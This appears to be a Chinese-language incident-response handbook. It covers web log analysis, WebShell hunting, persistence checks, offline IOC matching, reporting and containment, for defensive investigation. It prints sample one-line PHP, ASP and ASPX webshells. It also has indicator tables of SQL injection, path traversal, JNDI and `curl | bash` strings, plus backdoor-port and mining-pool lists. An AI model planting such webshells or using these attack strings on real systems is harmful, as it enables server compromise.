24	2.24 网络与配置面（DNS / 邻居 / 路由 / 非 iptables 防火墙 / 代理 / NFS·Samba / conntrack）	□正常 □异常		
25	2.25 Linux 持久化与内核面（rc / 环境注入 / sysctl / PAM / systemd socket / cron @reboot / 容器·K8s 滥用 / ld.so）	□正常 □异常		
26	2.26 进程与内存深度（maps 异常映射 / 异常环境变量 / 双向隐藏进程 / 进程树 / Java 线索 / fd 句柄面）	□正常 □异常		
27	2.27 取证与响应基线（时间线素材 / ATT&CK 映射，只读）	□正常 □异常		
28	2.28 自定义规则 · 哈希库 · PE 与字符串（人工近似）	□正常 □异常		
29	2.29 文件内容特征 · YARA-like · 日志规则（人工近似）	□正常 □异常		
30	2.30 容器与 K8s 深度面（静态 Pod 清单 / 控制面凭据权限 / 逃逸迹象 / 运行时配置）	□正常 □异常		
31	2.31 Web 访问日志分析（nginx / apache，含轮转）	□正常 □异常		
32	2.32 Web 站点目录内容查杀	□正常 □异常		

批注

CHAPTER 3 / 通用

第 3 章 Web 日志分析

批注

通用 日志是唯一能还原「攻击者从哪个 IP、用什么方法、在什么时间进来」的记录。本章给出三种主流格式的逐字段读法与六类攻击特征。

3.1 日志在哪里 先定位，再分析

中间件	默认路径	格式
Apache (Debian)	`/var/log/apache2/access.log`	combined
Apache (RHEL)	`/var/log/httpd/access_log`	combined
Nginx	`/var/log/nginx/access.log`	combined（可自定义）
IIS	`C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log`	W3C 扩展
Tomcat	`/var/log/tomcat*/localhost_access_log.*.txt`	common
容器内	`docker logs <容器>` / `kubectl logs <pod>`	取决于镜像

```
# Linux：先确认日志轮转情况（有没有更早的日志）
ls -l /var/log/nginx/ /var/log/apache2/ 2>/dev/null
zcat /var/log/nginx/access.log.2.gz 2>/dev/null | head -3

# Windows：列出所有 IIS 站点日志目录
dir /s /b C:\inetpub\logs\LogFiles\W3SVC*
findstr /c:"#Fields" C:\inetpub\logs\LogFiles\W3SVC1\*.log
```

IIS 每个站点一个 W3SVCn 目录，n 与站点 ID 对应。多站点主机必须逐个查，只查默认站点是最常见的漏查。

3.2 Apache combined 格式逐字段 一行一条请求，空格分隔

```
45.x.x.x - admin [19/Oct/2026:02:11:09 +0800] "POST /upload.php HTTP/1.1" 200 512 "http://site/" "Mozilla/5.0 (Windows NT 10.0)"
```

字段	本例值	含义	分析价值
%h 客户端 IP	45.x.x.x	发起请求的地址	溯源第一要素；注意可能是 CDN 回源 IP
%u 认证用户	- 或 admin	HTTP 认证用户名	出现具体用户名说明已通过认证
%t 时间	19/Oct/2026:02:11:09 +0800	请求时间与时区	时区必须与主机一致才能对时间线
%r 请求行	POST /upload.php HTTP/1.1	方法 + 路径 + 协议	方法为 POST + 脚本路径 = 上传重点
%>s 状态码	200	响应状态	404=探测，200=成功，500=执行出错
%b 响应字节	512	响应体大小	38 字节常为一句话木马回显
%{Referer}	http://site/	来源页面	异常来源可能是攻击页面
%{User-Agent}	Mozilla/5.0 ...	客户端标识	sqlmap/curl/python 是工具特征

3.3 Nginx 默认格式 与 Apache combined 基本一致

```
45.x.x.x - - [19/Oct/2026:02:11:09 +0800] "GET /upload/20261019.php HTTP/1.1" 200 38 "-" "curl/7.68.0"
# 常见自定义格式（log_format main）额外包含：
# $request_time $upstream_response_time $http_x_forwarded_for
```

若配置了 `$http_x_forwarded_for`，真实客户端 IP 可能是该字段的第一个值，而 `$remote_addr` 只是上一跳代理。判断前先看 `nginx.conf` 的 `log_format` 定义。

```
# 确认实际使用的格式（避免按默认格式误读字段）
grep -A3 'log_format' /etc/nginx/nginx.conf 2>/dev/null
# 若含 $http_x_forwarded_for，取第一个 IP
awk -F'"' '{print $0}' /var/log/nginx/access.log | head -1
```

3.4 IIS W3C 扩展格式 以 #Fields 声明列顺序，空格分隔

```
#Software: Microsoft Internet Information Services 10.0
#Version: 1.0
#Date: 2026-10-19 00:00:00
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status sc-substatus time-taken
2026-10-19 02:11:09 10.1.2.33 GET /upload/shell.aspx - 80 - 45.x.x.x Mozilla/5.0 200 0 31
```

字段	含义	分析价值
date / time	UTC 时间（默认）	**IIS 默认记 UTC**，与本地时间差 8 小时，务必换算
s-ip	服务端 IP	多网卡主机用于区分站点
cs-method	请求方法	PUT/DELETE 在静态站点上极可疑
cs-uri-stem	URL 路径	不含查询串，需与 cs-uri-query 拼接
cs-uri-query	查询串	WebShell 参数、注入语句都在这里
cs-username	认证用户	匿名访问为 `-`
c-ip	客户端 IP	溯源要素（有 CDN 时看 X-Forwarded-For）
sc-status	状态码	200 成功；404 探测；500 执行失败
time-taken	耗时（毫秒）	WebShell 命令执行常达数千毫秒

> IIS 日志默认 UTC。若直接按本地时间检索，会整体错 8 小时，导致「案发时间点没有日志」的误判。先看 `#Date` 行与本地时间对比确认。

批注

第3章

3.5 六类攻击特征 看到这些组合，优先深查

类别	日志特征	级别
扫描探测	同一 IP 短时间大量 404，路径为 `/admin`、`/.git`、`/phpmyadmin`、`/wp-login.php`	低危
SQL 注入	`cs-uri-query` 含 `union select`、`sleep(`、`benchmark(`、`' or 1=1`，且返回 200	**高危**
文件上传	`POST` 到 `upload*.php/.aspx`，随后同目录出现脚本被 GET 且 200	**严重**
路径穿越	URL 含 `../`、`%2e%2e%2f`、`/etc/passwd`、`win.ini`，返回 200	**高危**
命令执行	URL 含 `cmd=`、`exec=`、`system(`、`passthru(`、`${jndi:`，返回 200	**严重**
WebShell 访问	静态目录下的脚本被反复 GET/POST，响应体 30–200 字节，UA 为 curl/python	**严重**

```
# Linux：按 IP 统计请求量，找扫描源
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -15

# 找「先 404 后 200」的可疑 IP（先看 404 密度）
awk '$9==404 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head

# 找脚本路径的 POST（上传行为）
grep -E 'POST .*\.(php|aspx?|jsp)' /var/log/nginx/access.log | tail -20
```

```
:: Windows：IIS 日志按字段位置检索（注意 UTC 时间）
findstr /i "POST" C:\inetpub\logs\LogFiles\W3SVC1\*.log | findstr /i ".aspx .asp .ashx"
findstr /i "cmd= exec= union" C:\inetpub\logs\LogFiles\W3SVC1\*.log
findstr /i " 500 " C:\inetpub\logs\LogFiles\W3SVC1\*.log | findstr /i ".aspx"
```

3.6 分析流程（四步） 从粗到细，不要一上来就全文搜关键词

步骤	做什么	命令要点
1 定范围	确定案发时间窗与受影响站点	先看日志文件覆盖的日期，别漏轮转文件
2 找异常 IP	按请求量、404 数、UA 排序取 TOP	`awk | sort | uniq -c | sort -rn`
3 串行为	对可疑 IP 拉全量请求，按时间排序看路径演进	`grep '^45.x.x.x' | sort -k4`
4 对文件	把命中的 URL 映射到磁盘文件，确认是否落地	转第 4 章逐个人工审阅

```
# 步骤 3 的完整命令：把某个 IP 的全部请求按时间列出（nginx）
grep '^45\.x\.x\.x ' /var/log/nginx/access.log | sort -k4 | less

# 步骤 3 的完整命令：IIS 按 c-ip 过滤（字段位置因 #Fields 而异，先确认）
findstr /c:" 45.x.x.x " C:\inetpub\logs\LogFiles\W3SVC1\*.log
```

把「首次成功攻击」的时间点记下来，它是整条时间线的起点。之前的 404 是探测，之后的 200 是落地。

3.7 常见误报 这些情况看着像攻击，其实不是

现象	真相	怎么排除
大量 404 来自单一 IP	可能是搜索引擎爬虫或监控探活	看 UA 是否为 Googlebot/Bingbot，看是否请求 robots.txt
URL 含 `../`	部分 CMS 正常使用相对路径	看是否返回 200 且响应体为文件内容
UA 为 curl	运维脚本、健康检查、API 调用	看请求路径是否为登记的健康检查地址
`sc-status 500` 集中	代码 bug 或数据库连接失败	看同一时间是否有发版记录
日志时间与事件不符	IIS 用 UTC；或主机时钟偏移	换算时区；用 `w32tm/timedatectl` 确认
响应体 38 字节	可能是一句话木马回显，也可能是空响应	看请求参数与响应内容，不要只看大小

> 日志分析只能证明「有请求」，不能证明「有落地」。所有严重结论必须由磁盘上的文件佐证，见第 4 章。

批注

CHAPTER 4 / 通用

第 4 章 WebShell 人工查杀

批注

通用 WebShell 的查杀靠「看代码」而不是「看文件名」。本章给出六类特征与一套逐行审阅清单，全部离线完成。

4.1 一句话木马 体积最小、危害最大

一句话木马的核心是「接收外部输入并执行」。体积通常在 30–200 字节，文件小、修改时间新、位于可写目录，是三个最有效的筛选条件。

```
<?php @eval($_POST['pass']); ?>
<?php assert($_REQUEST['cmd']); ?>
<% eval request("pass") %>
<%@ Page Language="JScript"%><%eval(Request.Item["pass"],"unsafe");%>
```

语言	危险函数（看到即重点看）	级别
PHP	`eval` `assert` `system` `exec` `shell_exec` `passthru` `popen` `proc_open` `call_user_func` `create_function`	严重
ASP	`eval` `execute` `executeGlobal`	严重
ASPX	`eval` `Process.Start` `Assembly.Load` `Request.Item`	严重
JSP	`Runtime.getRuntime().exec` `ProcessBuilder` `Class.forName` `defineClass`	严重

> 危险函数本身不是罪证。框架、模板引擎、老业务代码里大量存在。判据是「危险函数 + 外部可控输入」同时出现，例如 `eval($_POST[...])`。

4.2 大马与管理工具 功能完整，体积较大

大马通常带文件管理、命令执行、数据库操作、端口扫描等界面，体积几十 KB 到几百 KB，文件名常伪装成正常页面。识别要点是「页面里有表单 + 表单直接操作文件系统」。

特征	具体表现
文件管理	页面出现 `op=upload`、`act=edit`、`path=`、`del=`、`rename=` 等参数
命令执行	输入框旁标注 `cmd`、`exec`、`shell`，或直接调用 `Runtime.exec`
数据库操作	页面内含 `show tables`、`select * from mysql.user` 等语句
自带登录框	单个 php 文件里出现密码校验 + 后续管理功能（正常业务不会这样写）
编码特征	整页只有一行超长代码，或开头有大量 `\x` 转义

4.3 命名与位置特征 攻击者也会「看起来很正常」

特征	例子	可信度
随机名	`a1b2c3.php`、`x.php`、`1.php`、`test.aspx`	高
伪装成图片	`logo.jpg.php`、`1.asp;.jpg`、`shell.php%00.jpg`	高
伪装成系统文件	`conn.asp` 放在 upload 目录、`index.aspx` 在 images 目录	高
双扩展名	`invoice.pdf.asp`、`photo.png.jsp`	高
正常名但位置异常	`upload/`、`images/`、`cache/`、`tmp/` 下出现 .php	高
正常名且位置正常	`/includes/config.php` 被改写	中（需比对内容）

```
# Linux：按「可写目录 + 脚本扩展名」筛
sudo find /var/www -type f \( -name "*.php" -o -name "*.jsp" -o -name "*.asp" \) \
  | grep -iE '/(upload|uploads|images|img|cache|tmp|data)/'

# Windows：按修改时间倒序列出站点下的脚本
dir /s /b /o-d C:\inetpub\wwwroot | findstr /i ".asp .aspx .ashx .php .jsp"
```

4.4 混淆手法 看不懂的代码就是可疑代码

手法	长相	怎么还原
Base64	`eval(base64_decode("ZXZhbC..."))`	把字符串复制到本地解码，不执行
字符串反转	`strrev("...")`、`str_rot13`	手工反转或 rot13 还原
变量函数	`$a='ass'.'ert'; $a($_POST['x']);`	把拼接结果写下来，再判断
异或/自解码	`$x = $a ^ $b;` 或超长 `\x` 串	记录原文，标注「已混淆」
无字母马	全部由符号与自增运算构成（如 `$_=[];`）	标记为高度可疑，交专业分析
图片马	JPG 头部 + `<?php` 尾部；或 EXIF 中藏代码	用十六进制查看器看文件尾部
注释藏码	大段正常代码中夹一行 `/* */` 包裹的执行语句	搜索危险函数定位

```
# 查看文件是否「图片开头 + 脚本结尾」（Linux）
head -c 16 suspect.jpg | xxd
tail -c 200 suspect.jpg

# 搜索被注释包裹的危险函数
grep -nE '/\*.*(eval|assert|system).*\*/' suspect.php
```

> 不要在生产机上「跑一下看看」。解码、反混淆都在离线副本上做，且解码结果只作为文本查看，不执行。

4.5 图片马与文件头伪造 能被解析才是关键

图片马把脚本追加在合法图片之后，靠文件包含漏洞（`include($_GET['f'])`）执行。单看文件头 `FF D8 FF` 会误判为正常，必须看文件尾部与是否被包含。

检查点	命令 / 方法	判定
文件头	`head -c 4 x.jpg | xxd`	`FF D8 FF E0` 为 JPEG；`89 50 4E 47` 为 PNG
文件尾	`tail -c 300 x.jpg`	出现 `<?php` / `<%` / `<script` 即图片马
文件大小异常	`ls -l`	图片 2MB 但显示只有 200×200，可疑
是否被包含	搜代码 `include` / `require` 的参数	参数可控即存在利用链
EXIF 藏码	`strings x.jpg | grep -i eval`	EXIF 中出现脚本关键字

▸ 验证是否被包含（经验补充，脚本未覆盖；判据见 4.5 表格第 4 行）

```
# 找出「参数可控」的文件包含入口（经验，脚本未覆盖）
grep -rn 'include\|require' /var/www | grep '\$_'
```

4.6 隐藏文件与时间戳 看不见的文件最危险

手法	发现方法	级别
点号开头	`ls -la`（不用 `ls`）、`dir /a`	**高危**
ADS 数据流	`dir /r`（Windows），看 `:xxx:$DATA`	**高危**
超长文件名	`ls -b`，看是否用 `..` 填充	中危
空格/点结尾	`find . -name "* "`、`*..`	中危
时间戳篡改	`stat` 对比 mtime 与 ctime，mtime 早于 ctime 且差 > 1s	**高危**
权限隐藏	`find / -name "*.php" -perm -000`（谁都读不了）	低危

```
# Linux：找 mtime 与 ctime 明显不一致的文件（时间戳可能被改）
sudo find /var/www -type f -name "*.php" -printf '%T@ %C@ %p\n' \
  | awk '{ if ($2 - $1 > 1) print }' | head

# Linux：找权限为 000 的文件（rootkit 常见隐藏方式）
sudo find /var/www -type f -perm 000 2>/dev/null
```

4.7 内存马（无文件） 磁盘上找不到，只能从行为与配置发现

Java 内存马通过反序列化、表达式注入、Agent 注入把恶意类加载进 JVM，磁盘无落地文件。发现路径只有三条：JVM 参数、异常类加载、以及中间件配置被改。

线索	命令	判定
javaagent 指向业务目录	`ps -ef | grep java`	`-javaagent:/path/webapps/x.jar` 高度可疑
Filter/Servlet 被动态注册	查看中间件日志中的类名	出现陌生包名的 Filter
JSP 编译缓存异常	`ls -lt work/Catalina/`	近期编译的 JSP 与磁盘源文件不符
反序列化攻击	日志中 `ClassNotFoundException` + 陌生类	结合时间点看是否紧随攻击请求

```
# Linux：列出所有 Java 进程的完整命令行与 agent 参数
ps -eo pid,user,cmd | grep java | grep -v grep
ps -eo pid,cmd | grep -o '\-javaagent:[^ ]*'

# Windows：同样看命令行
wmic process where "name='java.exe'" get ProcessId,CommandLine
```

4.8 人工审阅清单

对每个可疑文件走一遍，10 项全过才算排除

#	检查点	通过标准
1	文件位置是否符合业务规范	在版本库/发布包中能找到同名文件
2	文件大小是否合理	与版本库中的同文件差异 < 10%
3	修改时间是否在发布窗口	与发版记录一致
4	首行是否为合法声明	`<?php` / `<%@` / `<%` 后无异常字符
5	是否含外部输入 + 危险函数	两者不同时出现
6	是否存在编码/混淆	无 base64/strrev/超长转义
7	是否有硬编码口令或后门账号	无
8	是否被图片/文档伪装	文件头与扩展名一致，尾部无脚本
9	权限是否与同类文件一致	与其他业务文件同属主同权限
10	是否有对应访问日志	改造前的访问记录能解释其来源

> 十项里任何一项不通过，都不要删除文件。先按 0.3 提取、按 7.5 处置。删除会销毁唯一的攻击载荷证据。

批注

CHAPTER 5 / 通用

第 5 章 持久化与后门速查

批注

通用 本章是「一页一个面」的对照清单，用于快速过一遍所有驻留点。每一项只给三样东西：在哪、一行命令、看什么。详细判据见第 1、2 章对应小节。

5.1 Windows 持久化面（11 个） 按「被滥用的频率」排序

#	位置	一行命令	看什么	详见
1	Run / RunOnce	`reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s`	指向 Temp/Public；含 `-enc`	1.3
2	计划任务	`schtasks /query /fo LIST /v`	动作为脚本、以 SYSTEM 运行	1.4
3	服务	`wmic service get Name,PathName,StartMode`	路径在用户目录、无签名	1.5
4	WMI 订阅	`Get-CimInstance -Namespace root/subscription -ClassName __EventFilter`	Consumer 指向脚本	1.11
5	IFEO	`reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s`	出现 `Debugger` 值	1.22
6	Winlogon	`reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /v Userinit`	`Shell` 后追加第二个程序	1.22
7	LSA	`reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"`	出现非系统 DLL 路径	1.12
8	Active Setup	`reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath`	StubPath 调用 mshta/regsvr32	1.28
9	PS Profile	`$PROFILE | Format-List *`	文件近期新增、含 IEX	1.29
10	Office 加载项	`reg query "HKCU\SOFTWARE\Microsoft\Office\Word\Addins" /s`	Manifest 指向用户目录	1.30
11	COM / Shell 扩展	`reg query "HKLM\SOFTWARE\Classes\CLSID" /s /f "InprocServer32"`	DLL 不在 System32	1.22

第 11 项 COM/Shell 扩展的 `/s` 检索在部分主机上很慢（数十万键），建议先限定到 `HKCU\SOFTWARE\Classes\CLSID`，或直接查启动项中调用 `rundll32` 的条目。

5.2 Linux 持久化面（8 个） 从最常被用到的最少见

#	位置	一行命令	看什么	详见
1	crontab	`crontab -l; cat /etc/crontab; ls /etc/cron.d/`	`* * * * *` 执行陌生脚本	2.4
2	rc.local	`cat /etc/rc.local`	`curl | bash`、`/dev/shm/x`	2.5
3	systemd	`systemctl list-unit-files --state=enabled`	陌生 unit、伪装名	2.15
4	SSH 公钥	`cat ~/.ssh/authorized_keys`	陌生公钥、`command=`	2.13
5	PAM	`grep -v '^#' /etc/pam.d/*`	`pam_exec.so` 带脚本路径	2.25
6	ld.so.preload	`cat /etc/ld.so.preload`	文件存在且非空	2.6
7	SUID	`find / -xdev -perm -4000 -type f`	非常规路径下的 SUID	2.8
8	capabilities	`getcap -r / 2>/dev/null`	解释器带 `cap_setuid`	2.12

这 19 个面必须全部过一遍才算「查过持久化」。实战中最常见的漏查是 WMI 订阅、Active Setup、capabilities 三项——它们都不在常规启动项清单里。

5.3 快速判定口诀 记住这四句，能覆盖八成情形

看路径，不看名字 `svchost.exe` 出现在 `C:\Users\Public` 就是恶意的；`SecurityHealth` 出现在 `System32` 就是正常的。名字可以伪造，路径很难伪造。

看签名，不看大小 无签名不一定是恶意，但有签名的系统组件被替换一定可疑。签名状态是比文件大小更可靠的判据。

看时间，不看数量 案发窗口内新增的持久化条目，比「一共有多少条」更有意义。一条凌晨 2 点新增的 Run 键，胜过一万条正常项。

看组合，不看单点 单看一个可疑文件名不足以下结论；「Temp 目录 + 无签名 + 开机启动 + 案发时间」四条同时成立，就是确证。

批注

第 5 章

CHAPTER 6 / 通用

第 6 章 威胁情报与 IOC 快速比对

通用 离线环境下没有在线情报平台。本章给出「用手上的日志和文件，反查 IP / 域名 / 哈希」的可执行方法，以及一张可直接填写的 IOC 表。

6.1 离线可用的四类情报 不联网也能比对

来源	能回答什么	怎么用
本机日志	这个 IP 有没有来过、来过几次、做了什么	第 3 章 / 第 2.9 节
本机文件	这个域名/矿池地址有没有出现在程序里	`findstr` / `grep` 全盘搜字符串
随手册下发的 IOC 清单	这个哈希/IP 是否为已知恶意	打印件上人工比对
设备侧记录	防火墙/IPS 是否拦截过该 IP	向网络组索取拦截日志（离线拷贝）

「查不到」不等于「安全」。免杀样本、一次性 C2 域名在离线情报里通常无记录，此时应以行为判据（第 1、2 章）为主。

6.2 在本机搜 IP / 域名 / 哈希 全部为只读检索

```
# Linux：在日志中搜某个 IP 的全部记录（含轮转）
sudo grep -h '45\.x\.x\.x' /var/log/nginx/access.log* /var/log/auth.log* 2>/dev/null

# Linux：在 Web 目录中搜某个域名/矿池地址
sudo grep -rl 'pool.minexmr.com' /var/www /tmp /var/tmp 2>/dev/null

# Linux：按哈希找文件（已知 SHA256）
sudo find / -xdev -type f -size -10M -exec sha256sum {} \; 2>/dev/null | grep '9f2c8e1a'
```

```
:: Windows：在 IIS 日志中搜 IP（注意 IIS 记的是 UTC）
findstr /s /c:"45.x.x.x" C:\inetpub\logs\LogFiles\W3SVC1\*.log

:: Windows：在指定目录搜域名关键词
findstr /s /i /m /c:"minexmr" /c:"stratum+tcp" C:\Users\C:\ProgramData\C:\Windows\Temp\*

:: Windows：按哈希找文件（需 PowerShell）
Get-ChildItem C:\Users,C:\ProgramData -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object {$_.Length -lt 10MB} | Get-FileHash -Algorithm SHA256 |
  Where-Object {$_.Hash -like '9F2C8E1A*'}
```

全盘 `find -exec sha256sum` 在机械盘上可能跑数小时。先用「近 30 天 + 可执行 + 非常规路径」缩小范围，再算哈希。

6.3 IOC 登记表 发现一个填一个，不要事后补

类型	值	首次发现位置	关联进程/文件	级别
IP				
域名				
URL				
SHA256				
文件名				
账号				
互斥体/服务名				
邮箱/钱包				

填表规则：一个值一行，同一值在多个位置出现只记首次发现位置，其余在「关联进程/文件」列用分号追加。级别沿用第 0.6 节口径。

6.4 命中之后怎么判 命中只是线索，不是结论

情形	判定	下一步
哈希命中已知恶意样本库	确证	该文件即为恶意，按 7.5 处置并全盘搜同哈希
域名/IP 命中已知 C2	确证	该主机已被控，立即隔离（经审批）
IP 在本机日志中出现过	需核实	看请求内容与响应码，判断是扫描还是成功
程序里出现矿池地址	确证	挖矿，查启动项与 cron 找驻留方式
文件名与已知恶意样本相同	提示	必须比对哈希，文件名可伪造
无任何命中	不能排除	转行为判据（第 1、2 章），并记录「情报未命中」

> 报告中必须写清「情报比对的时间点与来源」。用三天前的情报否定今天的样本，是复查时最容易被推翻的结论。

批注

CHAPTER 7 / 通用

第 7 章 结论汇总与时间线

批注

通用 前面各章的表格是「原始记录」，本章把它们收敛成一页结论。结论页是交付物，必须能独立看懂。

7.1 结论汇总表 等级 × 类别 × 证据位置

#	等级	类别	结论（一句话）	证据位置	置信度
1					
2					
3					
4					
5					
6					
7					
8					

「类别」建议直接用：入口 / 驻留 / 提权 / 横向 / 外传 / 破坏 / 配置缺陷。「证据位置」写「表 1-1 第 12 行 + `D:\case\samples\x.exe`」，必须能定位到具体一行或一个文件。

置信度	含义	写法要求
确证	有文件/日志直接证明	写「已确认」，可直接进入处置
高度可疑	多项间接证据指向同一结论	写「高度怀疑」，需补充哪一项证据才能确证
待核实	单项异常，未能交叉验证	写「待核实」，列出验证方法
已排除	经核查为正常	写「已排除」并注明依据（如签名、版本、变更单）

7.2 时间线模板 一页纸还原攻击过程

时间（含时区）	来源	事件	证据位置

「来源」写日志类型或文件名（如 `Security 4620`、`nginx access.log`、`文件 mtime`）。同一事件有多个来源时拆成多行，用相同的事件描述对齐，便于互相印证。

```
# 时间线常用取数命令
:: Windows：按时间倒序取安全日志前 30 条
wevtutil qe Security /c:30 /rd:true /f:text

# Linux：按时间取 sshd 日志
grep 'Oct 19' /var/log/auth.log | head -40
```

7.3 报告骨架 六段，不超过两页

段	内容	常见问题
1 概况	主机名/IP/系统/角色、发现时间、谁发现	漏写主机角色，导致结论无法评估影响
2 结论	是否有入侵、什么类型、影响范围	只写现象不写判断（「发现可疑文件」不是结论）
3 证据	按时间线列关键证据，指向具体位置	只写「日志显示」，不写哪一条
4 处置建议	立即/短期/长期三档	直接写「重装系统」而无取证前提
5 未查明项	查了但没结论的，写明原因	把「没查到」写成「不存在」
6 附件	证据清单、IOC 表、原始日志哈希	缺哈希，证据不可复核

> 第 5 段最容易被省略，但它决定了报告的可信度。写清「哪些没查到、为什么没查到」，比假装全面更有价值。

7.4 六种常见误判 复查时最常被推翻的结论

误判	为什么错	正确做法
`svchost.exe` 在 `C:\Users` 就是病毒	确实多为恶意，但仍需看签名与父进程	核对路径 + 签名 + 父进程是否为 services.exe
Run 键里有陌生项就是后门	很多正常软件也写 Run	看路径是否在 Program Files、有无签名
有 4625 就是被爆破	服务账号配置错误也会大量失败	按来源 IP 与账号聚类，看是否有后续成功
NetBIOS/445 开放就是高危	内网文件共享必需	看是否暴露到非受信网段
文件无签名就是恶意	自研/开源工具天然无签名	结合路径、时间、来源综合判断
日志被清就一定是入侵	运维清理、日志轮转也会	看是否有 1102 事件与清理者账号

7.5 【处置】（取证之后再操作） 本节是全手册唯一的写操作区

本节为经验补充，脚本只读、不含处置编排；`--gen-fix` 仅生成注释态建议脚本，不执行。

> 以下动作会改变系统状态，必须在「证据已固定、哈希已记录、报告已初稿」之后执行。执行前须获得授权，执行时逐条记录时间与操作人。

顺序	动作	前提	记录
1	网络隔离（拔网线/关交换机端口）	条件允许时已导出内存镜像；至少已导出网络连接、进程列表与命令行	隔离时间、方式、操作人
2	保留内存镜像（如条件允许）	有可用介质与工具	镜像文件哈希
3	停止恶意进程	已记录 PID/路径/命令行	停止时间、PID
4	禁用（非删除）持久化条目	已记录完整键值/文件内容	禁用清单
5	隔离（重命名/移入隔离区）恶意文件	已提取并校验哈希	原路径与隔离后路径
6	改密与吊销凭据	已完成取证	改密账号清单、时间
7	清除计划任务/服务/WMI 订阅	已记录原始配置	清除清单
8	恢复业务前全盘扫描	病毒库为最新	扫描报告

第 4 步的「禁用而非删除」是硬要求：删除会破坏「攻击者做过什么」的证据。可导出为 `.reg` 文件后再删键值，导出件与原键值一并归档。

系统重装前必须确认：样本已提取、日志已导出、IOC 已登记——重装等于销毁全部证据。

APPENDIX A / 通用

附录 A 常用命令速查卡

批注

通用 本页可撕下随身携带。左栏 Windows（cmd / PowerShell），右栏 Linux（bash）。全部为只读命令。

Windows • cmd

系统信息	`systeminfo`
补丁列表	`wmic qfe list brief /format:table`
账号	`net user & net localgroup administrators`
会话	`net session & net use & net share`
进程	`tasklist /v`
进程命令行	`wmic process get ProcessId,ParentProcessId,Name,CommandLine`
端口	`netstat -ano | findstr LISTENING`
启动项	`reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s`
计划任务	`schtasks /query /fo LIST /v`
服务	`sc query type= service state= all`
驱动	`driverquery /v`
哈希	`certutil -hashfile "文件" SHA256`
日志	`wevtutil qe Security /c:30 /rd:true /f:text`
共享	`net share`
路由	`route print & arp -a`
DNS 缓存	`ipconfig /displaydns`
代理	`netsh winhttp show proxy`
端口转发	`netsh interface portproxy show all`
隐藏文件	`dir /a /s /o-d C:\Users\Public`
ADS	`dir /r`

Windows • PowerShell

WMI 订阅	`Get-CimInstance -Namespace root/subscription -ClassName __EventFilter`
进程树	`Get-CimInstance Win32_Process | Select ProcessId,ParentProcessId,Name`
防护状态	`Get-MpComputerStatus`
排除项	`Get-MpPreference | Select ExclusionPath`
签名	`Get-AuthenticodeSignature "文件"`
根证书	`Get-ChildItem Cert:\LocalMachine\Root`
BITS	`Get-BitsTransfer -AllUsers`
日志查询	`Get-WinEvent -LogName Security -MaxEvents 30`
PS 脚本块	`Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational`
Profile	`$PROFILE | Format-List *`

Linux • bash

系统	`uname -a; cat /etc/os-release`
账号	`cat /etc/passwd; awk -F: '$3==0' /etc/passwd`
sudo 授权	`grep -v '^#' /etc/sudoers; ls /etc/sudoers.d/`
登录记录	`last; lastb; who`
进程	`ps auxf`
端口	`ss -tunlp`
连接	`ss -antp state established`
定时任务	`crontab -l; cat /etc/crontab; ls /etc/cron.d/`
服务	`systemctl list-unit-files --state=enabled`
内核模块	`lsmod`
capabilities	`getcap -r /`
SUID	`find / -xdev -perm -4000 -type f`
预加载劫持	`cat /etc/ld.so.preload`
SSH 公钥	`cat ~/.ssh/authorized_keys`
近期可执行	`find / -xdev -mtime -30 -perm -u+x`
隐藏文件	`find / -xdev -name ".*" -type f -mtime -7`
哈希	`sha256sum 文件`
包校验	`rpm -Va | dpkg -V`
删除态进程	`ls -l /proc/*/exe | grep deleted`
日志	`journalctl -u sshd --since "7 days ago"`

命令缺失时怎么办

没有 ss	`netstat -tunlp` 或 `cat /proc/net/tcp`
没有 getcap	`grep Cap /proc/PID/status`
没有 debsums	`dpkg -V`（Debian 系）
没有 wevtutil	`Get-WinEvent -LogName Security -MaxEvents 30`
命令报错消失	先怀疑被改名或删除，换绝对路径重试，并记入表 1-1
提示权限不足	记录「未采到」并注明所需权限，不要用推断填补

APPENDIX B / 通用

附录 B 判据阈值与端口表

通用 本附录与 er_check.py 的常量区逐项对齐。凡手册中写「≥N 次」「≥N 个」的地方，均以本表为准。

B.1 数量与时间阈值 对应脚本 DEFAULT_DAYS / BRUTE_THRESHOLD / LATERAL_PORT_THRESHOLDS

项	阈值	脚本常量	说明
「近期文件 / 账号变更」判定天数	30 天	`DEFAULT_DAYS = 30`	第 1.7、2.8 节的 `-mtime -30` 与 `forfiles /d -30` 同口径
单 IP 失败登录次数	≥ 20 次	`BRUTE_THRESHOLD = 20`	达到即判爆破；持续 ≥2 小时另计升级
SMB 445 横向扩散	同一进程 ≥ 10 个不同远端 IP	`LATERAL_PORT_THRESHOLDS[445]`	对应「疑似横向移动或蠕虫扩散」
WebShell 内容层判定	≥ 2 类特征同时命中	内容层计分规则	单类特征只作提示，不单独定性
时间戳篡改判定	`mtime + 1s < ctime`	时间戳比对逻辑	差值为负且超过 1 秒即视为异常

B.2 后门 / 远控端口（14 个） 对应 SUSPICIOUS_PORTS

端口	含义	端口	含义
4444	Metasploit 默认反弹端口	1337	常见后门
5555	常见反弹 / ADB	9001	常见后门
6666	IRC / 远控常用	8000	常见后门 / HTTP 复用
7777	常见后门	2222	SSH 后门常用备用端口
8888	常见远控 / WinRM 复用	4443	HTTPS 复用端口
9999	常见后门	1080	SOCKS 代理
12345	netcat 默认反弹端口	31337	Back Orifice

B.3 矿池端口（8 个） 对应 MINING_PORTS

端口	含义	端口	含义
3333	矿池常用端口	14444	矿池常用端口
4444	矿池 / 后门常用端口	45700	门罗币矿池常用端口
5555	矿池常用端口	8333	比特币 P2P
7777	矿池常用端口	18081	门罗币 RPC

矿池域名关键词（脚本 COIN_POOL_HINTS）：pool.minexmr.com、supportxmr、nanopool、2miners、f2pool、hashvault、moneroocean、c3pool、xmrpool。可在第 6.2 节用 `findstr`/`grep` 直接检索。

